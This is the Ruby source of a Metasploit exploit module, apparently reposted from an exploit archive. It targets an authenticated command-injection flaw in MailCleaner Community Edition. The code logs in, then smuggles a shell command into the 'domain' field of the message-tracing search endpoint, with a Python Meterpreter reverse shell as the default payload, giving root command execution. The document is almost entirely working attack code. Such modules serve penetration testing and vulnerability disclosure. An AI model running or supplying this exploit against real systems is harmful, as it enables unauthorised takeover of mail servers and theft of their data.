Mailcleaner – (Authenticated) Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Mailcleaner Remote Code Execution", 'Description' => %q{ This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'] ], 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 5, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python', 'unix'], 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], 'Targets' => [ [ 'Python payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, } ], [ 'Command payload', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => "\x26", } } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 19 2018", 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']) ] ) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def auth print_status('Performing authentication...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin/') }) if res && !res.get_cookies.empty? cookie = res.get_cookies else fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.') end # Performing authentication res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin/'), 'cookie' => cookie, 'vars_post' => { 'username' => username, 'password' => password, 'submit' => 'Log+in' } }) if res && res.code == 302 print_good("Awesome..! Authenticated with #{username}:#{password}") else fail_with(Failure::NoAccess, 'Credentials are not valid.') end cookie end def exploit cookie = auth if cookie.nil? fail_with(Failure::Unknown, 'Something went wrong!') end print_status('Exploiting command injection flaw') if target['Arch'] == ARCH_PYTHON cmd = "';$(python -c \"#{payload.encoded}\");#" else cmd = "';#{payload.encoded};#" end send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'), 'cookie' => cookie, 'vars_post' => { 'search' => rand_text_alpha(5), 'domain' => cmd, 'submit' => 1 } }) end end |